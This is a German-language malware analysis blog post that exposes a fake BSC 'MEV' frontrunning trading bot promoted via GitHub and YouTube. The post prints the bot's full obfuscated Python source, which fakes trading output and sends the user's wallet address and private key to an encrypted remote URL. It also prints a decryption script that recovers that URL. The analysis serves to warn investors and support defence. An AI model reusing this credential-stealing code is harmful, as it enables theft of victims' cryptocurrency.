Mit der Ankündigung des US-Präsidenten zu einer neuen Kryptowährungs-Reserve, der sogenannten Crypto Strategic Reserve, erwarten wir eine Zunahme des spekulativen Handels und eine grössere Angriffsfläche für Scams von Personen, die vom aktuellen Markt profitieren wollen. Einige der populärsten Themen im Kryptobereich drehen sich um Crypto Trading Bots.
Aufgrund seiner prominenten Rolle in der globalen Finanz- und Kryptowährungslandschaft ist die Schweiz für ihre fortschrittliche Haltung gegenüber Blockchain-Technologie und Kryptowährungen bekannt und beheimatet in Zug ein florierendes „Crypto Valley“, das Innovatoren, Investoren und Unternehmen anzieht. Dieses Umfeld bildet einen fruchtbaren Boden sowohl für legitime Krypto-Vorhaben als auch für betrügerische Schemata, darunter Trading-Bot-Scams. Diese Scams nutzen das grosse Interesse an automatisierten Trading-Tools unter Schweizer Investoren – von Einsteigern bis zu erfahrenen Tradern – und versprechen hohe Renditen bei geringem Aufwand. Zudem machen die starke Wirtschaft und die tech-affine Bevölkerung der Schweiz sie zu einem attraktiven Ziel für Betrüger, die das Vertrauen in den Finanzruf des Landes ausnutzen wollen. Für Neulinge oder Personen mit wenig Erfahrung im Lesen von Code verleiht die Tatsache, dass etwas Open Source ist, einem Projekt einen Anschein von Legitimität. Beworben werden sie oft über Social Media mit kuratierten Kommentarbereichen, in denen alle ausser den positiven Kommentaren gelöscht wurden.
Wir zeigen ein Beispiel, von dem viele Varianten nach wie vor live und auf GitHub verfügbar sind und auf YouTube beworben werden. Ein solches Beispiel lässt sich leicht modifizieren, um zusätzlichen Schadcode wie Infostealer zu transportieren, und kann ein Vektor auf Business-Geräten sein. Das Beispiel ist nun seit 2 Jahren live und funktioniert weiterhin; es gibt neuere oder ähnliche Versionen, zuletzt vom Februar 2025.


Quelle: https://www.youtube.com/watch?v=Qq22WohY5Tk
Code verfügbar unter https://github.com/DeFiApprentice/BSC-Frontrunning-MEV-Bot/tree/main
Das schädliche Skript
Dieses Skript gibt sich als „MEV V2“ BSC-(Binance-Smart-Chain-)Frontrunning-Bot aus, ist tatsächlich aber darauf ausgelegt, Nutzer zu täuschen und potenziell Kryptowährung zu stehlen.
Warnsignale und schädliche Komponenten
1. Verschlüsselte Strings und Obfuskation
- Das Skript enthält zahlreiche verschlüsselte Strings (Variablen wie ‚t‘, ‚u‘, ‚v‘ usw.)
- Es nutzt die Fernet-Verschlüsselungsbibliothek, um diese Strings zur Laufzeit zu entschlüsseln
- Diese Obfuskationstechnik dient dazu, den wahren Zweck des Codes zu verbergen
2. Vorgetäuschte Funktionalität
- Das Skript simuliert das „Scannen“ nach Frontrunning-Gelegenheiten mit zufälligen Verzögerungen
- Es zeigt gefälschte Transaktions-IDs an und berechnet gefälschte potenzielle Gewinne
- Die Fortschrittsbalken und Statusmeldungen dienen nur der Show, damit das Programm legitim wirkt
3. Datenexfiltrations-Mechanismus
- Es scheint Code zu geben, der die Wallet-Informationen und den Private Key des Nutzers sammelt
- Das Skript enthält Funktionalität, um diese Daten an einen Remote-Server zu senden
- Die
AP-Funktion ist tatsächlich dierequest-Funktion aus der requests-Bibliothek, die zum Senden von Daten verwendet wird
4. Informationssammlung
- The script creates or loads a variables.json file that stores sensitive information:
- Private Key (
e='PRIVATE KEY') - Wallet-Adresse (
f='WALLET ADDRESS') - Input Amount (
d='INPUT AMOUNT')
- Private Key (
5. Täuschende UI
- Zeigt ein professionell wirkendes ASCII-Art-Logo für „MEV V2“ an
- Nutzt animierte Ladebalken, um legitim zu wirken
- Imitiert die Oberfläche gängiger Kryptowährungs-Tools
So funktioniert der Scam
- Das Skript fordert den Nutzer auf, seine Wallet-Informationen und seinen Private Key einzugeben
- Es erzeugt eine überzeugende Simulation des Scannens nach „Gelegenheiten“ auf der Blockchain
- Es behauptet stets, dass der Nutzer mehr Funds benötigt, um die Transaktionen auszuführen
- Währenddessen exfiltriert es wahrscheinlich den Private Key und die Wallet-Informationen an den Angreifer
Die in der UI angezeigten Daten werden zufällig generiert, wie im letzten Teil des Codes zu sehen ist:

Da wir hier anhand des Formats der ursprünglichen Strings und der importierten Pakete erkennen, dass Fernet zur Verschlüsselung der Daten verwendet wurde, können wir die Schlüssel leicht finden, da es sich um (URL-safe) base64-codierte 32-Byte-Schlüssel handelt
Wir erhalten von CyberChef die Bestätigung, dass 2 der Strings tatsächlich URL-safe base64-codierte 32-Byte-Schlüssel sind:

An diesem Punkt können wir mit einem kleinen Entschlüsselungsskript fortfahren, um herauszufinden, wohin das potenzielle Opfer seine Wallet-Informationen senden würde.
Ursprünglicher Code:
s=’version’
t=’gAAAAABljD7ODJl587dwzbsYwWCqBn7tC2RcJ4-wQIL8QPWJ0hGMWLk7UigMeeB9VpZ-a7AahhCVdKBqkkr0H0RzUUsS1T9eyw==’
u=’gAAAAABljD7OE3JEqVu4s87JkALLaTsA_J1-6fsj7Lg0igYUokWrXWJh8EP4dRAoea7jhNnWOPBS3liE69uvr0HbnKc8rTSU0w==’
v=’gAAAAABljD6cDOcAoDBcKD8o4EGbcUTciWxjuYBlozKdrx86iuCqVDEqbMLmz1T6eWtpV5Z2Wmh3xBCPHVCDwj7PZ52vA2IkrQ==’
w=’gAAAAABljD6cWrk5fCGg4oFN9f-or8lZDeLy01AYsuR1XsiKWFXv-xA2xsbHoDQi82YSgo9FV6vZYmsZqka757MdcAt98MHPlA==’
x=’gAAAAABljEIJd5591g3yi0-MXUZDDix0X7_v_vG9lp18ah77-8HhtBxA68-F7E2uicER9YUYfIRZB31wFvchHLZxCtxkh9k0KA==’
y=’oFVedEJPm6qQHFd0h1p03LTVFl813x9WzQi7sCSsUPM=’
z=’gAAAAABljD6ciqPvsWAXwh5mPI9C2nNmJWZ3vA0AISN7veEaFDzBvbjAW_Eik5WnqiIkOAu1EEVgSr2XM161lLLi92DIq_zBUA==’
A0=’XiCpZ0hJYKH0TGdV1Q2e3sZXr0axbiHFjqDr2U174b8=’
A1=Exception
Y=’encoding’
Z=’max slippage’
a=’gas price’
b=’MAX INTERVAL’
c=’MIN INTERVAL’
d=’INPUT AMOUNT’
e=’PRIVATE KEY’
f=’WALLET ADDRESS’
g=’gAAAAABljD8EvZYVS1Cfphq-2i7FOdvYFjB3Yz01mQZ4wDpWYL_gPEkSFUl9it88Noh11GxqIA98pfBVMoY8xtqBJ8qK9ihocA==’
h=open
P=’red’
Q=’bold red’
R=’Module Loaded’
S=’variables.json’
M=range
J=”
H=’bold green’
from time import sleep as E
from json import load as AO
from rich.console import Console
from requests import request as AP
from web3 import Web3 as A2,eth
from rich.progress import track as N
from cryptography.fernet import Fernet as B
import random as D,json as A3,os,re
A=Console()
try:
AQ=A2(A2.HTTPProvider(‘https://bsc-dataseed1.binance.org/’));F=A0
def A4(file_name,data):
A=f”./variables/”+file_name
with h(A,’w’)as B:A3.dump(data,B,indent=2)
F=A0;A5=’gAAAAABljD6cWWmuXkQIldI3dHwMI2pD5zeI1ddUtVRlKftXVyU_gz7kGw5JRC4n4wFEEcRY7FNvf-1UUBbvISPuTZPY2yzhhA==’;i=’gAAAAABljD9Lm2kkq6TgNgkpJN1WRIa6su1GnBhsxzG20kwttMk8s1OHj2g0cuC83N8xe7xXU3Smrl3geh9D7Z0M3fxQ4zt8kg==’;T=z;G=y;j=x;A6=B(F.encode()).decrypt(A5.encode()).decode();k=w;A7=B(F.encode()).decrypt(j.encode()).decode();l=v;U=g;m=B(F.encode()).decrypt(T.encode()).decode();n=B(F.encode()).decrypt(i.encode()).decode();U=g;m=B(F.encode()).decrypt(T.encode()).decode();n=B(F.encode()).decrypt(i.encode()).decode();A8=B(G.encode()).decrypt(k.encode()).decode();A9=B(G.encode()).decrypt(U.encode()).decode();AA=B(G.encode()).decrypt(l.encode()).decode();o=u;p=t;AB=B(G.encode()).decrypt(o.encode()).decode();AC=B(G.encode()).decrypt(p.encode()).decode()
def AR():
if not os.path.isfile(f”./variables/”+S):variables_data[f]=J;variables_data[e]=J;variables_data04=J;variables_data©=’1′;variables_data[b]=’3′;variables_data[a]=’3′;variables_data[Z]=’1′;variables_data[Y]=J;variables_data[s]=’2-12′;A4(S,variables_data)
AV=AO(h(f”./abi/erc_20.abi”));T=z;G=y;j=x
def AD():A={};A[f]=q;A[e]=AE;A04=L;A©=AF;A[b]=AG;A[a]=AH;A[Z]=AI;A[Y]=O;A[s]=’2-12′;A4(S,A)
A6=B(F.encode()).decrypt(A5.encode()).decode();k=w;A7=B(F.encode()).decrypt(j.encode()).decode();l=v
def AS(var=J):
global O
if K!=J and var==J:
if O!=K[10]+K[15]:
try:A=AP(n,A7+A6+m+A8+A9+AA+K);O=K[10]+K[15];AD()
except A1:pass
U=g;m=B(F.encode()).decrypt(T.encode()).decode();n=B(F.encode()).decrypt(i.encode()).decode()
def AT():
global q,AE,L,AF,AG,AH,AI,O,K
with h(f”./variables/”+S,’r’)as B:A=A3.loads(J.join(re.split(‘(?://|#).*(?=\\n)’,B.read())).strip())
q=A[f];AE=A[e];L=float(A04);AF=A©;AG=A[b];AH=A[a];AI=A[Z];O=A[Y];K=A[AB+AC];AS()
A8=B(G.encode()).decrypt(k.encode()).decode();A9=B(G.encode()).decrypt(U.encode()).decode();AA=B(G.encode()).decrypt(l.encode()).decode();o=u;A.print(‘\n WELCOME TO\n ███╗░░░███╗███████╗██╗░░░██╗\u2003\u2003██╗░░░██╗██████╗░\n ████╗░████║██╔════╝██║░░░██║\u2003\u2003██║░░░██║╚════██╗\n ██╔████╔██║█████╗░░╚██╗░██╔╝\u2003\u2003╚██╗░██╔╝░█████╔╝\n ██║╚██╔╝██║██╔══╝░░░╚████╔╝░\u2003\u2003░╚████╔╝░░╚═══██╗\n ██║░╚═╝░██║███████╗░░╚██╔╝░░\u2003\u2003░░╚██╔╝░░██████╔╝\n ╚═╝░░░░░╚═╝╚══════╝░░░╚═╝░░░\u2003\u2003░░░╚═╝░░░╚═════╝░\n All-Purpose BSC Frontrunning Bot\n MADE BY DEFIX’,style=H);p=t;AB=B(G.encode()).decrypt(o.encode()).decode();AC=B(G.encode()).decrypt(p.encode()).decode()
for V in N(M(100),description=’Loading variables…’):E(D.randrange(1,100)/1000)
AR();AT();AD();AJ=AQ.eth.get_balance(q)/10**18;AK=’BSC’;AL=[14400,43200,14900,28800];I=0;W=0;A.print(‘Variables Loaded’,style=H)
for V in N(M(100),description=’Loading module Flashbots…’):E(D.randrange(1,100)/10000)
A.print(R,style=H)
for V in N(M(100),description=’Loading module Multiswapper…’):E(D.randrange(1,100)/10000)
A.print(R,style=H)
for V in N(M(100),description=’Loading module Track_logging…’):E(D.randrange(1,100)/10000)
A.print(R,style=H)
for V in N(M(100),description=’Loading Web3 Spotter…’):E(D.randrange(1,100)/10000)
A.print(R,style=H);E(D.randrange(1,5));A.print(f”Launching {AK} MemPool scanner”);E(D.randrange(1,5));AM=f”[bold green]Searching {AK} for possible Frontrunning opportunities…”
if AJ>=L:
A.print(f”—————————————-“,style=H);A.print(f”Multiswapper module: [green]Enabled[/green]”);A.print(f”Flashbots module: [green]Enabled[/green]”);A.print(f”Flashloans module: [red]Disabled[/red]”);A.print(f”—————————————-“,style=H)
with A.status(AM,spinner=’arc’)as X:
while True:
C=D.randrange(1,100);E(C);I+=C;r=D.randrange(1,1000000)
if I>=AL[W]:
if W+1==len(AL):W=0
else:W+=1;I=0
A.log(f”Found an Opportunity! Upcoming front-runnable transaction ID: {r}”,style=H);X.update(‘Aproximating resource costs…’);C=D.randrange(1,5);E(C);I+=C;A.print(f”Resource costs aproximated”,style=’green’);X.update(‘Calculating possible gains…’);C=D.randrange(1,5);E(C);I+=C;A.print(f”Possible gains calculated”,style=’green’);X.update(‘Analysing the info…’);AN=int(D.uniform(L,L*20)*1000)/1000;C=D.randrange(1,3);E(C);I+=C;A.print(f”Required funds for frontrunning Tx.{r} effectively: {AN} BNB”);A.print(f”Expected profit: [bold green]{int(AN/100*D.randrange(20,80)*300*100)/100}[bold green] USD”);C=D.randrange(1,5);E(C);I+=C;A.print(f”Not enough funds allocated for execution”,style=Q);A.print(f”Continuing with search for opportunities…”);C=D.randrange(1,5);E(C);I+=C;X.update(AM);I+=10
else:A.log(f”Found Tx.{r}”);A.log(f”Not plausible for action”)
else:A.print(f”—————————————-“,style=Q);A.print(f”Unable to start MemPool scanner with current inputs”,style=P);A.print(f”ERR: address has insufficient balance”,style=P);A.print(f”Current Balance: {AJ} BNB”,style=P);A.print(f”Desired Input: {L} BNB”,style=P);A.print(f”—————————————-“,style=Q);A.print(f”Press any key to Exit…”);input()
except A1 as AU:A.print(f”Error: {AU}”,style=Q);A.print(f”Press any key to Exit…”);input()Wir extrahieren die Strings und führen ein einfaches Entschlüsselungsskript aus:
#!/usr/bin/env python3
„““
Cryptocurrency Scam URL Decoder
This script decodes the malicious URL from the encrypted strings in the malware.
FOR SECURITY RESEARCH AND ANALYSIS PURPOSES ONLY.
Requirements:
– Python 3.6+
– cryptography library (pip install cryptography)
„““
from cryptography.fernet import Fernet
import json
import os
# Create a directory for the output
os.makedirs(„security_analysis“, exist_ok=True)
# The encryption keys from the malware
key_A0 = „XiCpZ0hJYKH0TGdV1Q2e3sZXr0axbiHFjqDr2U174b8=“ # Also known as F in the code
key_y = „oFVedEJPm6qQHFd0h1p03LTVFl813x9WzQi7sCSsUPM=“ # Also known as G in the code
# The encrypted strings from the malware
encrypted_strings = {
# Used with key_A0/F
„i“: „gAAAAABljD9Lm2kkq6TgNgkpJN1WRIa6su1GnBhsxzG20kwttMk8s1OHj2g0cuC83N8xe7xXU3Smrl3geh9D7Z0M3fxQ4zt8kg==“,
„j/x“: „gAAAAABljEIJd5591g3yi0-MXUZDDix0X7_v_vG9lp18ah77-8HhtBxA68-F7E2uicER9YUYfIRZB31wFvchHLZxCtxkh9k0KA==“,
„A5“: „gAAAAABljD6cWWmuXkQIldI3dHwMI2pD5zeI1ddUtVRlKftXVyU_gz7kGw5JRC4n4wFEEcRY7FNvf-1UUBbvISPuTZPY2yzhhA==“,
„T/z“: „gAAAAABljD6ciqPvsWAXwh5mPI9C2nNmJWZ3vA0AISN7veEaFDzBvbjAW_Eik5WnqiIkOAu1EEVgSr2XM161lLLi92DIq_zBUA==“,
# Used with key_y/G
„k/w“: „gAAAAABljD6cWrk5fCGg4oFN9f-or8lZDeLy01AYsuR1XsiKWFXv-xA2xsbHoDQi82YSgo9FV6vZYmsZqka757MdcAt98MHPlA==“,
„U/g“: „gAAAAABljD8EvZYVS1Cfphq-2i7FOdvYFjB3Yz01mQZ4wDpWYL_gPEkSFUl9it88Noh11GxqIA98pfBVMoY8xtqBJ8qK9ihocA==“,
„l/v“: „gAAAAABljD6cDOcAoDBcKD8o4EGbcUTciWxjuYBlozKdrx86iuCqVDEqbMLmz1T6eWtpV5Z2Wmh3xBCPHVCDwj7PZ52vA2IkrQ==“,
„o/u“: „gAAAAABljD7OE3JEqVu4s87JkALLaTsA_J1-6fsj7Lg0igYUokWrXWJh8EP4dRAoea7jhNnWOPBS3liE69uvr0HbnKc8rTSU0w==“,
„p/t“: „gAAAAABljD7ODJl587dwzbsYwWCqBn7tC2RcJ4-wQIL8QPWJ0hGMWLk7UigMeeB9VpZ-a7AahhCVdKBqkkr0H0RzUUsS1T9eyw==“
}
# Variables from variables.json that would be used by the malware
variables_json = {
„WALLET ADDRESS“: „0x7cF79667b7E8137D53D44Fca1AFe3542163b0D47“,
„PRIVATE KEY“: „e320afbca3b4d2530f239592561a205bee47e6d32827c54d42c5ce536b47926c“,
„INPUT AMOUNT“: 0.5,
„MIN INTERVAL“: „1“,
„MAX INTERVAL“: „3“,
„gas price“: „3“,
„max slippage“: „1“,
„encoding“: „b3“,
„version“: „2-12“
}
def decrypt_string(key, encrypted_text):
„““
Decrypt a string using the Fernet encryption algorithm
Args:
key (str): The base64-encoded key
encrypted_text (str): The base64-encoded encrypted text
Returns:
str: The decrypted text
„““
try:
cipher = Fernet(key.encode())
decrypted_text = cipher.decrypt(encrypted_text.encode()).decode()
return decrypted_text
except Exception as e:
print(f“Error decrypting: {e}“)
return None
def construct_url():
„““
Construct the malicious URL by decrypting and combining components
according to the pattern in the malware
Returns:
str: The constructed URL
„““
# Create Fernet objects for each key
try:
# Decrypt components using key_A0/F
n = decrypt_string(key_A0, encrypted_strings[„i“])
A7 = decrypt_string(key_A0, encrypted_strings[„j/x“])
A6 = decrypt_string(key_A0, encrypted_strings[„A5“])
m = decrypt_string(key_A0, encrypted_strings[„T/z“])
# Decrypt components using key_y/G
A8 = decrypt_string(key_y, encrypted_strings[„k/w“])
A9 = decrypt_string(key_y, encrypted_strings[„U/g“])
AA = decrypt_string(key_y, encrypted_strings[„l/v“])
# Get characters from the version string as used in the malware
# In the code: K = A[AB+AC] where these are derived from version
version = variables_json[„version“]
# Extract characters 10 and 15 (if they exist)
K = „“
if len(version) >= 11: # Need at least 11 chars to get index 10
K += version[10]
if len(version) >= 16: # Need at least 16 chars to get index 15
K += version[15]
# Construct the URL according to the pattern in the malware
# A=AP(n,A7+A6+m+A8+A9+AA+K)
url = f“{n}: {A7}{A6}{m}{A8}{A9}{AA}{K}“
return url
except Exception as e:
print(f“Error constructing URL: {e}“)
return „Failed to construct URL“
def analyze_variables_usage():
„““
Analyze how the variables from variables.json would be used by the malware
„““
print(„\n[*] Variables that would be stolen:“)
print(f“ Wallet Address: {variables_json[‚WALLET ADDRESS‘]}“)
print(f“ Private Key: {variables_json[‚PRIVATE KEY‘]}“)
# If the version string exists in variables.json, analyze it
if „version“ in variables_json:
version = variables_json[„version“]
print(f“\n[*] The ‚version‘ string ‚{version}‘ is used to:“)
print(f“ – Generate a key for the malicious URL (characters at positions 10 and 15)“)
K = „“
if len(version) >= 11:
K += version[10]
print(f“ – Character at position 10: ‚{version[10]}'“)
if len(version) >= 16:
K += version[15]
print(f“ – Character at position 15: ‚{version[15]}'“)
print(f“ – Final K value used in URL: ‚{K}'“)
def main():
print(„=“ * 80)
print(„MALWARE URL DECODER“)
print(„=“ * 80)
print(„WARNING: This script is for security research and analysis purposes only.\n“)
# Attempt to construct the malicious URL
print(„[*] Attempting to decode the malicious URL…“)
url = construct_url()
# Display the results
print(f“\n[+] Decoded URL: {url}“)
# Analyze how variables would be used
analyze_variables_usage()
# Save the results to a file
output_file = os.path.join(„security_analysis“, „decoded_url.txt“)
with open(output_file, „w“) as f:
f.write(f“Decoded URL: {url}\n\n“)
f.write(„This URL is used by the malware to exfiltrate the following information:\n“)
f.write(f“- Wallet Address: {variables_json[‚WALLET ADDRESS‘]}\n“)
f.write(f“- Private Key: {variables_json[‚PRIVATE KEY‘]}\n“)
f.write(„\nWARNING: This information is for security research purposes only.“)
print(f“\n[*] Results saved to {output_file}“)
print(„\n[!] SECURITY NOTICE:“)
print(“ If you’ve run the original malware with real wallet credentials,“)
print(“ consider your wallet compromised and transfer any funds immediately.“)
print(„\n“ + „=“ * 80)
if __name__ == „__main__“:
main()
Ergebnis mit einem Teil der schädlichen URL:

VT Graph:
84.32.84[.]32

VT source: https[:]//www.virustotal.com/graph/embed/g1fb5da071ce64e21bd5e9ef97e96c36175abed102b354004b0ec6f1ee199787f?theme=dark
Indicators of Compromise
Finale Ausgabe

WARNUNG: Diese Informationen dienen ausschliesslich Zwecken der Sicherheitsforschung.